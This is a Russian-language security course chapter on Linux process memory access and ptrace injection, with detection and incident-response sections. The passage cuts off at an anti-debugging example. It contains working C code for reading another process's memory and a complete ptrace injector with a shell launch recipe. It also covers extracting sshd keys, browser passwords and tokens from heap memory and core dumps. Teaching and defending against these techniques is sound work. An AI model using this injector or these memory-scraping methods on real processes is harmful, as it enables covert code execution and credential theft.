Апокриф 09

Дампы памяти и Ptrace-инъекции

Дампы памяти и Ptrace-инъекции

К этому моменту курса читатель умеет закрепляться в системе и скрывать присутствие. Остаётся самый ценный объект — чужая память. Процесс sshd держит в куче расшифрованные ключи сессий, браузер — пароли и токены, менеджер паролей — мастер-ключ, пока он разблокирован. Всё это лежит в оперативной памяти в открытом виде, и задача темы — научиться эту память читать и, что важнее, изменять.

Инструментов два, и они разного уровня. Первый — файлы /proc/<pid>/mem, /proc/<pid>/maps и системный вызов process_vm_readv: чтение и запись чужого адресного пространства через интерфейс ядра. Второй — ptrace, механизм отладки, который позволяет остановить процесс, прочитать и записать регистры, подменить инструкцию и продолжить выполнение. Второй мощнее: он не только читает, но и управляет потоком команд, а значит, позволяет вызвать в чужом процессе произвольную функцию с его правами.

Тема разбирает адресное пространство процесса на уровне структур ядра, показывает, как читается память и почему это не всегда работает, и доводит до полной инъекции кода: сохранить регистры, выделить память в чужом процессе, записать шелл-код, передать управление и восстановить состояние так, чтобы процесс продолжил работу. Отдельно разбирается Yama LSM — механизм, который ограничивает ptrace и который чаще всего стоит между читателем и чужим процессом.

Вторая половина — обнаружение. ptrace оставляет следы в auditd, в eBPF-трассировке, в поле TracerPid; чтение /proc/<pid>/mem требует прав, которые тоже проверяются. Разбирается, как отличить штатную отладку от инъекции и какие настройки делают приём невозможным.

Примеры проверены на реальной системе: карта памяти, вывод gdb, значение ptrace_scope, запуск учебного сервиса. Команды, требующие root или специальной сборки ядра, помечены как примеры для собственной виртуальной машины. Устройство адресного пространства и ptrace описано в литературе 23; точные сигнатуры вызовов и структуры — в справочных страницах ptrace(2), process_vm_readv(2), proc(5), core(5) 1.

Адресное пространство процесса и соответствующие ему файлы procfs показаны на рисунке 1.

Виртуальная память процесса и интерфейс procfs
Рисунок 1. Сегменты адресного пространства и файлы /proc/<pid>, через которые они видны

Адресное пространство процесса

mm_struct и vm_area_struct

Каждый процесс в Linux описывается структурой task_struct. Внутри неё есть указатель mm на struct mm_struct — описание адресного пространства. В mm_struct хранятся: список областей vm_area_struct, размеры сегментов (start_code, end_code, start_data, end_data, start_brk, brk, start_stack), указатель на таблицу страниц (pgd) и счётчик ссылок.

Каждая vm_area_struct описывает непрерывный диапазон виртуальных адресов с одинаковыми правами: начало (vm_start), конец (vm_end), права (vm_flags), файл, из которого отображена область (vm_file), смещение в файле (vm_pgoff). Области связаны красно-чёрным деревом (vm_rb) для быстрого поиска по адресу и двусвязным списком (vm_next) для последовательного обхода.

Устройство mm_struct и vm_area_struct подробно разобрано в документации ядра 4. Когда программа обращается к адресу, которого нет в таблице страниц, процессор генерирует исключение, ядро ищет vm_area_struct, покрывающую адрес, и либо подгружает страницу с диска, либо убивает процесс сигналом SIGSEGV. Именно поэтому карта памяти — не «куча и стек», а набор областей с разными правами и происхождением.

/proc/<pid>/maps: поля и смысл

Файл /proc/<pid>/maps — текстовое представление списка vm_area_struct. Реальный пример для процесса head:

head -6 /proc/self/maps
55eb067bc000-55eb067be000 r--p 00000000 00:1d 5521263                    /usr/bin/head
55eb067be000-55eb067c6000 r-xp 00002000 00:1d 5521263                    /usr/bin/head
55eb067c6000-55eb067c9000 r--p 0000a000 00:1d 5521263                    /usr/bin/head
55eb067c9000-55eb067ca000 r--p 0000c000 00:1d 5521263                    /usr/bin/head
55eb067ca000-55eb067cb000 rw-p 0000d000 00:1d 5521263                    /usr/bin/head
55eb14c0b000-55eb14c2c000 rw-p 00000000 00:00 0                          [heap]

Поля читаются так:

  • 55eb067bc000-55eb067be000 — диапазон виртуальных адресов [начало, конец);
  • r--p — права: r чтение, w запись, x исполнение, p — private (copy-on-write), s — shared;
  • 00000000 — смещение в файле, с которого начинается отображение;
  • 00:1d — старший и младший номер устройства;
  • 5521263 — inode файла;
  • /usr/bin/head — путь; для анонимной памяти путь пуст, для специальных областей — [heap], [stack], [vdso], [vvar].

Первые пять строк — сегменты ELF: заголовки (r--p), код (r-xp), read-only данные (r--p), данные для перемещений (r--p), изменяемые данные (rw-p). Дальше идут куча, анонимные отображения mmap, разделяемые библиотеки и стек.

/proc/<pid>/smaps содержит те же области с деталями: Rss, Pss, Shared_Clean, Private_Dirty, Swap. smaps_rollup — сумма по всем областям:

cat /proc/self/smaps_rollup | head -5
55fe3b6b3000-7ffe36102000 ---p 00000000 00:00 0                          [rollup]
Rss:                2376 kB
Pss:                 176 kB
Pss_Dirty:           108 kB
Pss_Anon:            108 kB

Rss — сколько страниц реально в памяти, Pss — доля с учётом разделяемых страниц. Для поиска ценных данных важнее не объём, а права: области rw-p без файла — это куча и анонимные отображения, где обычно и лежат ключи.

/proc/<pid>/status: флаги, важные для инъекции

Файл /proc/<pid>/status — человекочитаемая выжимка из task_struct. Для работы с памятью важны несколько полей:

ПолеЗначениеПочему важно
TracerPidPID трассировщика или 0показывает, что процесс уже под отладкой
Uid, Gidреальный, эффективный, saved, fsопределяют права на ptrace
CapEffэффективные capabilities в hexCAP_SYS_PTRACE обходит Yama
Seccomp0 — выключен, 1 — strict, 2 — filterфильтр может запретить ptrace
NoNewPrivs0/1запрет на повышение прав через execve
Dumpable0/1запрет дампа и доступа к /proc/<pid>/mem

Проверка перед подключением:

grep -E 'TracerPid|Seccomp|CapEff|Dumpable' /proc/<pid>/status

Если TracerPid не ноль, процесс уже трассируется: второй трассировщик не подключится, пока первый не отсоединится. Если Seccomp: 2, фильтр может вернуть EPERM на ptrace — это зависит от политики, а не от прав пользователя.

ELF-сегменты, куча, стек, ASLR

Адресное пространство типичного динамически слинкованного процесса состоит из нескольких частей:

ОбластьПраваЧто там
заголовки ELFr--pзаголовок, таблицы
.textr-xpмашинный код
.rodatar--pконстанты, строки
.data, .bssrw-pглобальные переменные
[heap]rw-pmalloc, new, буферы
библиотекиr-xp/rw-plibc, libssl, плагины
[stack]rw-pлокальные переменные, кадры
[vdso], [vvar]r-xp/r--pкод и данные ядра для gettimeofday

Адреса не фиксированы: ASLR рандомизирует базу исполняемого файла, библиотек, кучи и стека при каждом запуске. Поэтому «адрес ключа» нельзя захардкодить — его надо искать в конкретном запуске. Именно поэтому в примерах ниже адреса выглядят случайными: они и есть случайные.

Отключить ASLR можно через /proc/sys/kernel/randomize_va_space (0 — выключено, 2 — полное), но на боевой системе это не вариант: изменение затрагивает все процессы. Для отладки используют setarch -R или personality(ADDR_NO_RANDOMIZE) для одного процесса.

Чтение памяти

/proc/<pid>/mem

Файл /proc/<pid>/mem — это окно в адресное пространство процесса. Чтение и запись выполняются по смещению, равному виртуальному адресу:

int fd = open("/proc/1234/mem", O_RDONLY);
char buf[64];
ssize_t n = pread(fd, buf, sizeof buf, (off_t)0x7f0000000000);

Ключевые детали:

  • нужен pread или lseek+read: обычный последовательный read начнёт с нуля и вернёт EIO, потому что нулевая страница не отображена;
  • проверка прав: ядро вызывает ptrace_may_access(task, PTRACE_MODE_ATTACH_FSCREDS); без CAP_SYS_PTRACE или разрешения от Yama доступ закрыт;
  • FOLL_FORCE: при записи ядро использует флаг FOLL_FORCE, чтобы писать в страницы, помеченные copy-on-write; это позволяет менять код, не трогая файл на диске;
  • размер страницы: чтение выравнивается по страницам; чтение за границей отображения возвращает EIO, а не мусор.

Открыть /proc/<pid>/mem можно и на запись (O_RDWR), но ядро проверит, что процесс не помечен как недампящийся (/proc/<pid>/coredump_filter), и что у читателя есть право на запись.

Полный пример чтения области по карте памяти:

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv) {
    if (argc != 4) {
        fprintf(stderr, "usage: %s PID ADDR LEN\n", argv[0]);
        return 2;
    }
    pid_t pid = (pid_t)strtol(argv[1], NULL, 10);
    off_t addr = (off_t)strtoull(argv[2], NULL, 0);
    size_t len = (size_t)strtoull(argv[3], NULL, 0);

    char mem_path[64];
    snprintf(mem_path, sizeof mem_path, "/proc/%d/mem", pid);
    int fd = open(mem_path, O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }

    char *buf = malloc(len);
    if (!buf) { perror("malloc"); return 1; }

    ssize_t n = pread(fd, buf, len, addr);
    if (n < 0) { perror("pread"); return 1; }

    fwrite(buf, 1, (size_t)n, stdout);
    free(buf);
    close(fd);
    return 0;
}

Обратите внимание на pread и на приведение адреса к off_t: на 32-битных системах адрес не поместится в off_t, и такой код нужно собирать с _FILE_OFFSET_BITS=64.

process_vm_readv и process_vm_writev

Более новый интерфейс — системные вызовы process_vm_readv(2) и process_vm_writev(2). Они позволяют передать несколько буферов за один вызов и не требуют lseek:

struct iovec local  = { .iov_base = buf,   .iov_len = len };
struct iovec remote = { .iov_base = addr,  .iov_len = len };
ssize_t n = process_vm_readv(pid, &local, 1, &remote, 1, 0);

Проверки прав те же, что у /proc/<pid>/mem. Преимущество — атомарность и скорость; недостаток — вызов появился в Linux 3.2, и на старых ядрах его нет. Для чтения больших областей разница в производительности заметна: process_vm_readv не создаёт файловых дескрипторов и не требует lseek.

Проверка на практике: два способа и один запрет

Теория проверяется тремя запусками. Первый — чтение памяти собственного потомка двумя интерфейсами сразу:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <fcntl.h>

int main(void)
{
    char secret[64] = "TOKEN-ABC-123";
    pid_t pid = fork();
    if (pid == 0) { pause(); _exit(0); }

    sleep(1);
    char buf[64] = {0};

    struct iovec local  = { buf, sizeof buf };
    struct iovec remote = { secret, sizeof buf };
    ssize_t n = process_vm_readv(pid, &local, 1, &remote, 1, 0);
    printf("process_vm_readv: %zd -> \"%s\"\n", n, buf);

    char path[64];
    snprintf(path, sizeof path, "/proc/%d/mem", pid);
    int fd = open(path, O_RDONLY);
    if (fd < 0) {
        perror("open mem");
    } else {
        memset(buf, 0, sizeof buf);
        ssize_t m = pread(fd, buf, sizeof buf, (off_t)(unsigned long)secret);
        printf("/proc/pid/mem pread: %zd -> \"%s\"\n", m, buf);
        close(fd);
    }

    kill(pid, SIGKILL);
    waitpid(pid, NULL, 0);
    return 0;
}
process_vm_readv: 64 -> "TOKEN-ABC-123"
/proc/pid/mem pread: 64 -> "TOKEN-ABC-123"

Оба интерфейса вернули одно и то же. Обратите внимание на две вещи: адрес secret — это адрес в пространстве дочернего процесса, а не родительского, и он совпадает только потому, что оба процесса — один и тот же образ после fork. В общем случае адрес берут из /proc/<pid>/maps цели.

Второй запуск — попытка прочитать память процесса, который вам не потомок:

sleep 300 &
head -c 16 /proc/$!/mem
head: невозможно открыть '/proc/6/mem' для чтения: Отказано в доступе

Третий — попытка подключиться к тому же процессу через ptrace:

import ctypes, os
libc = ctypes.CDLL("libc.so.6", use_errno=True)
r = libc.ptrace(16, pid, None, None)   # PTRACE_ATTACH = 16
print(r, os.strerror(ctypes.get_errno()) if r < 0 else "ok")
-1 Operation not permitted

Обе попытки упираются в одно и то же: PTRACE_MODE_ATTACH. Разница в том, что /proc/<pid>/mem вернул EACCES на open, а ptrace — EPERM. Это не разные причины, а разные точки проверки: файл проверяет права при открытии, ptrace — при запросе.

Что видно в TracerPid, когда всё-таки разрешено

Если читатель — родитель процесса, доступ разрешён при ptrace_scope = 1. Проверим и посмотрим, что процесс-жертва об этом «думает»:

pid_t pid = fork();
if (pid == 0) { pause(); _exit(0); }
sleep(1);

ptrace(PTRACE_ATTACH, pid, 0, 0);
waitpid(pid, NULL, 0);

struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, 0, &regs);
printf("RIP=0x%llx RSP=0x%llx\n",
       (unsigned long long)regs.rip, (unsigned long long)regs.rsp);
ATTACH: ok
RIP=0x7f25518f18be RSP=0x7ffe22d2abb8
TracerPid:	2

RIP указывает внутрь libc — процесс стоит в pause(), и это ожидаемо. TracerPid в /proc/<pid>/status теперь не ноль: жертва сама сообщает, кто её трассирует. Это самый простой признак отладки, и именно поэтому серьёзные образцы его проверяют: TracerPid != 0 — сигнал, что за процессом смотрят.

Отсюда практический вывод для защитника: подключение по ptrace не является незаметным. Оно меняет состояние жертвы, видно ей самой, видно в /proc, и его фиксирует auditd (см. раздел обнаружения).

Yama LSM и ptrace_scope

Yama — модуль безопасности, ограничивающий ptrace. Управляется файлом /proc/sys/kernel/yama/ptrace_scope:

ЗначениеРежимЧто разрешено
0классическийлюбой процесс того же uid
1ограниченный (по умолчанию в Ubuntu)только прямые потомки или процесс, явно разрешивший через PR_SET_PTRACER
2административныйтолько CAP_SYS_PTRACE
3запретptrace заблокирован до перезагрузки

На рабочей машине автора значение 1:

cat /proc/sys/kernel/yama/ptrace_scope
1

При уровне 1 отладчик может подключиться к процессу, который он запустил сам, или к процессу, вызвавшему prctl(PR_SET_PTRACER, pid_отладчика) либо PR_SET_PTRACER_ANY. Именно поэтому учебный сервис в лабораторной работе вызывает PR_SET_PTRACER_ANY — иначе gdb -p получил бы Operation not permitted.

Уровни Yama показаны на рисунке 2.

Уровни Yama ptrace_scope
Рисунок 2. Четыре уровня ptrace_scope и условия, при которых отладка разрешена

Проверить, что именно мешает подключению, можно по errno: EPERM — Yama или отсутствие прав, ESRCH — процесс уже завершился, EACCES — запрет на запись в память.

Дампы и core_pattern

Альтернатива чтению «на живую» — снять дамп и разбирать его. Ядро создаёт core-файл при аварийном завершении, если это разрешено:

cat /proc/sys/kernel/core_pattern
ulimit -c

core_pattern задаёт путь и шаблон имени, а также может передавать дамп внешней программе через |. coredump_filter управляет тем, какие области попадают в дамп: по умолчанию исключаются разделяемые анонимные страницы и страницы, помеченные MADV_DONTDUMP.

Для снятия дампа с живого процесса используется gcore из gdb или gdb -p PID -ex 'gcore /tmp/core' -ex detach -ex quit. Дамп содержит сегменты и может быть разобран strings, readelf, gdb или volatility.

ptrace: полный набор

Запросы и их смысл

ptrace(2) — один системный вызов с большим числом запросов. Основные:

ЗапросЧто делает
PTRACE_ATTACHподключиться к процессу, остановить его
PTRACE_SEIZEподключиться, не останавливая
PTRACE_GETREGSпрочитать регистры общего назначения
PTRACE_SETREGSзаписать регистры
PTRACE_PEEKTEXT / PEEKDATAпрочитать слово памяти
PTRACE_POKETEXT / POKEDATAзаписать слово памяти
PTRACE_CONTпродолжить выполнение
PTRACE_SYSCALLостановиться на входе и выходе из syscall
PTRACE_SETOPTIONSвключить PTRACE_O_TRACESYSGOOD, TRACEFORK и др.
PTRACE_DETACHотсоединиться и продолжить

После PTRACE_ATTACH трассируемый процесс останавливается, а трассировщик получает уведомление через waitpid. Дальше каждый PTRACE_CONT возобновляет выполнение до следующего события: сигнала, execve, clone, выхода. Без PTRACE_SETOPTIONS трассировщик видит только сигналы.

Чтение и запись регистров

Регистры читаются в структуру struct user_regs_struct:

#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>

struct user_regs_struct regs;
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
waitpid(pid, NULL, 0);
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
printf("rip=%llx rsp=%llx rax=%llx\n", regs.rip, regs.rsp, regs.rax);
ptrace(PTRACE_DETACH, pid, NULL, NULL);

На x86_64 в структуре есть rip, rsp, rbp, rax–r15, orig_rax, eflags, cs, ss, fs_base, gs_base. orig_rax хранит номер системного вызова, который процесс выполнял в момент остановки, — это ключ к трассировке syscall'ов.

PTRACE_PEEKTEXT возвращает слово (8 байт на x86_64) и использует errno для различения ошибки и данных: если errno не ноль, чтение не удалось. Это классическая ловушка: ptrace возвращает -1 и как значение, и как ошибку.

Инъекция: сохранение, mmap, шелл-код, восстановление

Полная инъекция состоит из шагов, каждый из которых обратим:

  1. PTRACE_ATTACH и waitpid — процесс остановлен.
  2. PTRACE_GETREGS — сохранить все регистры.
  3. Найти адрес mmap в целевом процессе: либо через libc (если она загружена), либо через syscall-гаджет в [vdso], либо через PTRACE_SYSCALL на ближайшем вызове.
  4. Записать в регистры аргументы mmap и номер syscall, установить rip на инструкцию syscall, продолжить до её завершения, прочитать rax — это адрес выделенной памяти.
  5. Записать шелл-код в выделенную область через PTRACE_POKETEXT.
  6. Установить rip на шелл-код, PTRACE_CONT, дождаться остановки (например, по int3).
  7. Восстановить регистры, PTRACE_DETACH.

Схема шагов показана на рисунке 3.

Инъекция кода через ptrace
Рисунок 3. Последовательность инъекции: подключение, сохранение регистров, mmap, запись кода, восстановление

Упрощённый, но рабочий вариант без mmap — вызов уже существующей функции в целевом процессе. Если в бинарнике есть функция, которая делает нужное (например, emergency_diagnostic() в учебном сервисе), достаточно установить rip на её адрес и продолжить. Адрес берётся из таблицы символов (nm, readelf -s) с учётом базы загрузки, которую даёт /proc/<pid>/maps.

Этот класс приёмов описан в модели ATT&CK как T1055 (Process Injection) и T1005 (Data from Local System) 5. Именно так работает gdb с командой call: он находит адрес функции, подготавливает стек, устанавливает точку возврата, меняет rip и продолжает. Пример пакетного сценария для учебного сервиса:

set pagination off
set confirm off
info registers rip rsp rax
call (void)emergency_diagnostic()
detach
quit

Реальный вывод на учебном сервисе:

rip            0x7f9acc4e4aab      0x7f9acc4e4aab <clock_nanosleep+75>
rsp            0x7fff1c959b98      0x7fff1c959b98
rax            0xfffffffffffffdfc  -516

rax = -516 — это -ERESTARTNOHAND (ядро возвращает отрицательные значения как -errno), то есть процесс в момент подключения спал в nanosleep. После call управление ушло в emergency_diagnostic, функция отработала в контексте сервиса, затем detach вернул процесс к обычной работе.

Рабочий инжектор: вызов функции

Ниже — полный инжектор, который вызывает в чужом процессе уже существующую функцию и корректно возвращает управление. Он не пишет шелл-код, но делает всё остальное: подключается, сохраняет регистры, подкладывает адрес возврата, ставит точку останова по исходному rip, продолжает выполнение и восстанавливает состояние.

#define _GNU_SOURCE
#include <errno.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <unistd.h>

static int poke(pid_t pid, uint64_t addr, uint64_t word) {
    return ptrace(PTRACE_POKETEXT, pid, (void *)addr, (void *)word) < 0 ? -1 : 0;
}

static int peek(pid_t pid, uint64_t addr, uint64_t *out) {
    errno = 0;
    long v = ptrace(PTRACE_PEEKTEXT, pid, (void *)addr, NULL);
    if (v == -1 && errno != 0) return -1;
    *out = (uint64_t)v;
    return 0;
}

int main(int argc, char **argv) {
    if (argc != 3) return 2;
    pid_t pid = (pid_t)strtol(argv[1], NULL, 10);
    uint64_t func = strtoull(argv[2], NULL, 0);

    if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) { perror("attach"); return 1; }
    waitpid(pid, NULL, 0);

    struct user_regs_struct saved, regs;
    ptrace(PTRACE_GETREGS, pid, NULL, &saved);
    regs = saved;

    uint64_t ret_addr = saved.rip;
    regs.rsp -= 8;
    if ((regs.rsp & 0xf) != 8) regs.rsp -= 8;   /* выравнивание по ABI */
    poke(pid, regs.rsp, ret_addr);
    regs.orig_rax = (uint64_t)-1;               /* не перезапускать syscall */

    uint64_t orig_word;
    peek(pid, ret_addr, &orig_word);
    poke(pid, ret_addr, (orig_word & ~0xffULL) | 0xccULL);  /* int3 */

    regs.rip = func;
    ptrace(PTRACE_SETREGS, pid, NULL, &regs);
    ptrace(PTRACE_CONT, pid, NULL, NULL);

    int status = 0;
    waitpid(pid, &status, 0);
    fprintf(stderr, "остановка: сигнал %d\n", WSTOPSIG(status));

    poke(pid, ret_addr, orig_word);
    ptrace(PTRACE_SETREGS, pid, NULL, &saved);
    ptrace(PTRACE_DETACH, pid, NULL, NULL);
    return 0;
}

Три детали, без которых инжектор не работает. Первая — адрес функции: для PIE-бинарника база берётся из первой строки /proc/<pid>/maps с путём к файлу (смещение 00000000), а не из сегмента r-xp, который начинается позже. Вторая — выравнивание стека: на входе в функцию rsp % 16 == 8, иначе movaps в прологе упадёт с SIGSEGV. Третья — orig_rax = -1: без этого ядро попытается перезапустить прерванный системный вызов и проигнорирует подменённый rip.

Реальный запуск на учебном сервисе:

base=$(awk '$6 ~ /target_service$/ {print $1; exit}' /proc/$pid/maps | cut -d- -f1)
sym=$(nm ./target_service | awk '$3=="emergency_diagnostic"{print $1}')
addr=$(printf '0x%x' $((0x$base + 0x$sym)))
./injector "$pid" "$addr"
остановка: сигнал 5

В логе сервиса появляется сообщение, которое печатает вызванная функция. Сигнал 5 — это SIGTRAP от нашей точки останова: управление вернулось туда, откуда мы его увели, и процесс продолжил работу.

Многопоточные процессы

Однопоточный процесс останавливается целиком, и PTRACE_ATTACH останавливает все его потоки. С многопоточным всё сложнее: ptrace работает с конкретным потоком (TID), а не с процессом. Если подключиться к одному потоку, остальные продолжат выполняться и могут изменить память, которую вы читаете или патчите.

Правильный порядок:

  1. PTRACE_SEIZE для каждого TID из /proc/<pid>/task/.
  2. PTRACE_INTERRUPT для каждого, чтобы остановить.
  3. waitpid с __WALL, чтобы дождаться остановки всех.
  4. Работа с памятью и регистрами.
  5. PTRACE_DETACH для каждого.

Флаг __WALL обязателен: без него waitpid не увидит остановки потоков, не являющихся детьми.

gdb как инструмент

gdb умеет всё то же самое, но с человеческим интерфейсом. Полезные команды:

gdb -p PID
(gdb) info proc mappings      # карта памяти
(gdb) info registers          # регистры
(gdb) x/16gx 0xADDR           # чтение памяти
(gdb) set $rip = 0xADDR       # подмена rip
(gdb) call (void)func()       # вызов функции
(gdb) gcore /tmp/core         # снять дамп
(gdb) detach

Пакетный режим: gdb -p PID -x script.gdb --batch. В сценарии set pagination off, set confirm off, затем команды и detach. Для снятия дампа без остановки надолго: gcore, затем detach.

gcore создаёт файл, который можно разбирать без доступа к процессу: readelf -l core, strings core | grep -i 'BEGIN', gdb ./binary core. Для больших процессов дамп занимает гигабайты, поэтому coredump_filter и MADV_DONTDUMP важны и для защитника, и для атакующего.

Ограничения и границы

  • Yama. Уровень 1 не даёт подключиться к чужому процессу без PR_SET_PTRACER; уровень 2 требует CAP_SYS_PTRACE.
  • seccomp. Процесс может запретить ptrace для себя через фильтр; тогда подключение вернёт EPERM или убьёт процесс.
  • PR_SET_DUMPABLE. Процесс может сбросить флаг дампабельности; тогда /proc/<pid>/mem и ptrace станут недоступны даже root без CAP_SYS_PTRACE.
  • Статическая сборка и [vdso]. Адрес syscall-гаджета зависит от отображения [vdso]; на разных ядрах он разный.
  • Архитектура. Все примеры — x86_64; на ARM64 другой набор регистров и другая инструкция (svc).
  • Стабильность. Инъекция в многопоточный процесс требует остановки всех потоков (PTRACE_SEIZE + PTRACE_INTERRUPT), иначе целевой поток может выполнить код в неподходящий момент.

Почему инъекция ломается: страницы, потоки, следы

Инъекция выглядит как пять вызовов ptrace, но ломается она на вещах, которые в этих пяти вызовах не видны. Разберём четыре.

W^X и почему PROT_EXEC — отдельное решение

Память процесса делится на страницы с правами r, w, x. Ядро и большинство дистрибутивов стремятся к W^X: страница либо записываемая, либо исполняемая, но не обе сразу. Это значит, что записать шелл-код в уже исполняемую область (r-xp сегмент кода) через PTRACE_POKETEXT можно — ptrace пишет в обход прав страницы, — но это заметно: меняется содержимое файла на диске? Нет, только память (страница copy-on-write), однако контроль целостности кода в памяти (IMA, auditd на mmap с PROT_EXEC, eBPF-проверки) такой случай видит.

Альтернатива — выделить новую страницу через mmap с PROT_READ|PROT_WRITE|PROT_EXEC и писать туда. Это чище, но оставляет другой след: в /proc/<pid>/maps появляется анонимный регион rwxp — комбинация, которая в обычной программе почти не встречается. Именно поэтому защитник, который смотрит maps, ищет rwx-регионы в первую очередь.

Третий путь — memfd_create + fexecve, при котором код исполняется из файла в памяти. Он обходит W^X, но требует вызова из целевого процесса, а значит снова упирается в инъекцию.

Стек: почему нельзя просто «вернуться»

Наивная идея: записать в стек адрес функции и сделать ret. Она не работает по трём причинам. Во-первых, стек растёт вниз, и запись «выше» текущего rsp затрёт чужие локальные переменные. Во-вторых, современные ядра и компиляторы используют теневой стек (SHSTK, CET) и канарейки: подменённый адрес возврата обнаруживается. В-третьих, после возврата функция ожидает корректный кадр стека — сохранённый rbp, выравнивание по 16 байт, — иначе падение произойдёт внутри libc на первой же инструкции с movaps.

Правильный порядок — сохранить rsp, выделить новый кадр ниже, положить туда адрес возврата на int3-гаджет, установить rip, дождаться остановки, восстановить rsp и регистры. Именно так и поступает gdb с командой call, и именно поэтому инжектор из предыдущего раздела занимает сотню строк, а не десять.

Потоки: один PTRACE_ATTACH не останавливает процесс

PTRACE_ATTACH останавливает один поток — тот, чей tid указан. Остальные потоки продолжают работать, и если целевая программа — многопоточный сервис, инъекция произойдёт в момент, когда другой поток держит блокировку или меняет те же структуры. Результат — гонка и падение через несколько секунд после «успешной» инъекции.

Правильный подход — PTRACE_SEIZE на каждый tid из /proc/<pid>/task, затем PTRACE_INTERRUPT на каждый, затем дождаться остановки всех. PTRACE_SEIZE подключается, не останавливая поток, и позволяет управлять моментом. PTRACE_O_TRACECLONE добавляет автоматическое подключение к новым потокам, которые появятся после.

Отсюда и признак для защитника: одновременная остановка всех потоков процесса — событие, которое видно по State: t (tracing stop) в /proc/<tid>/status для каждого потока. Одиночный остановленный поток в многопоточном сервисе — тоже аномалия, но менее заметная.

Что остаётся после инъекции

Инъекция обратима по регистрам, но не по следам. После PTRACE_DETACH в системе остаются:

  • новый регион в maps — анонимный rwx или r-x без файла, которого не было до подключения;
  • запись в auditd о ptrace с указанием pid, comm и результата;
  • TracerPid, который был не ноль в момент подключения (если жертва успела это заметить);
  • изменённые байты в существующей странице, если инъекция шла через POKETEXT;
  • время: разница между mtime файла и моментом, когда процесс начал вести себя иначе.

Ни один из этих следов не является «дымящимся пистолетом» сам по себе. Все вместе они складываются в картину, и именно поэтому форензика инцидента начинается не с поиска вредоносного файла, а со снимка maps, status и журнала аудита.

Разбор инцидента: от TracerPid до вердикта

Соберём всё в один разбор. Дано: на сервере работает служба agent.service, и есть подозрение, что в неё внедрились.

Шаг первый: состояние процесса. Смотрим не на файлы, а на процесс:

systemctl show -p MainPID agent.service
grep -E 'TracerPid|State|Threads' /proc/<PID>/status
TracerPid:	0
State:	S (sleeping)
Threads:	4

TracerPid: 0 — в момент снимка никто не трассирует. Это не оправдание: подключение могло быть коротким.

Шаг второй: карта памяти. Ищем аномалии — rwx, анонимные исполняемые регионы, регионы без файла:

awk '$2 ~ /x/ && $6 == "" {print}' /proc/<PID>/maps

Пустой вывод — норма. Строка вида 7f3c1a2b0000-7f3c1a2b4000 rwxp 00000000 00:00 0 — повод разбираться: это исполняемая анонимная память, которой у обычной службы быть не должно.

Шаг третий: журнал аудита. Если правило на ptrace установлено, ищем подключения:

sudo ausearch -sc ptrace -i | tail -30

В записи важны pid (кто подключался), comm (имя процесса-трассировщика) и success. Подключение из процесса, которого нет в белом списке (gdb, strace, системы мониторинга), — индикатор.

Шаг четвёртый: сопоставление времени. Момент подключения из аудита сопоставляется с моментом изменения поведения службы: записи в журнале, всплеск сетевой активности, новые файлы. Совпадение по времени — то, что превращает набор фактов в вердикт.

Шаг пятый: что делать. Порядок действий при подтверждённом внедрении: снять дамп процесса для разбора (gcore), остановить службу, сохранить /proc/<PID>/maps и status до остановки, затем перезапустить службу с чистого образа и разобрать дамп на предмет извлечённых секретов. Порядок важен: если сначала остановить службу, maps и status исчезнут вместе с процессом.

Таблица сводит признаки и их вес:

ПризнакГде смотретьВес
TracerPid != 0/proc/<pid>/statusвысокий, если служба не отлаживается штатно
анонимный rwx-регион/proc/<pid>/mapsвысокий
запись ptrace в аудитеausearch -sc ptraceсредний, зависит от baseline
State: t у части потоков/proc/<tid>/statusсредний
несоответствие mtime и поведенияstat, журналнизкий, вспомогательный
изменённые байты в r-xpсравнение с файлом на дискевысокий, но требует эталона

Что ищут в дампах

Ключи в куче sshd

sshd после аутентификации держит в памяти расшифрованный приватный ключ хоста и ключи сессий. Они лежат в куче или в анонимных отображениях rw-p. Поиск начинается с карты памяти: области без файла, с правами rw-p, размером от десятков килобайт.

grep -E 'rw-p' /proc/<pid>/maps | grep -v '\.so'

Дальше — чтение этих областей через /proc/<pid>/mem и поиск сигнатур: -----BEGIN, ssh-, PRIVATE KEY, строки Base64. Скрипт из окружения лабораторной делает это автоматически: разбирает maps, читает каждую rw-p-область и ищет шаблон.

Пароли браузера и токены

Браузер хранит пароли в зашифрованном виде на диске, но в момент использования расшифровывает их в памяти. Токены сессий, cookies и ключи API лежат в куче или в строковых буферах. Поиск по дампу даёт их в открытом виде, если процесс не использует защищённую память (mlock, MADV_DONTDUMP) и не чистит буферы после использования.

Поиск по шаблонам

Простейший поиск — strings по дампу. Он работает, но даёт много шума. Точнее — поиск по структуре: известные префиксы (-----BEGIN OPENSSH PRIVATE KEY-----), длины, контрольные символы. Ещё точнее — поиск по адресам: если известен адрес строки в куче (например, из лога), можно прочитать окрестность и найти соседние структуры.

Разбор дампа

Дамп — это файл, в котором сохранены сегменты процесса и метаданные ядра. Разбор начинается с заголовка:

readelf -l core | head -20
file core

Дальше — поиск строк и структур:

strings -n 8 core | grep -E 'BEGIN|PRIVATE|password|token' | head
gdb ./target_service core -batch -ex 'info proc mappings' -ex 'bt'

gdb с дампом показывает карту памяти на момент снятия и стек каждого потока. Если бинарник и библиотеки совпадают с теми, что были в момент дампа, можно восстановить не только строки, но и локальные переменные. Для разбора без совпадения бинарников используют volatility и собственные парсеры.

Порядок работы с дампом: снять копию, зафиксировать хеш, работать с копией, исходник хранить отдельно. Это стандартное требование криминалистики, и оно же защищает от случайной порчи единственной копии 6.

Анти-отладка

Процесс может обнаружить, что его трассируют:

  • TracerPid в /proc/<pid>/status — ненулевой, если есть трассировщик;
  • ptrace(PTRACE_TRACEME) — если вызов не удался, процесс уже под отладкой;
  • seccomp с фильтром на ptrace;
  • проверка времени выполнения: остановки от отладчика искажают тайминги;
  • проверка PR_SET_DUMPABLE и coredump_filter.

Минимальная проверка TracerPid на C:

#include <stdio.h>
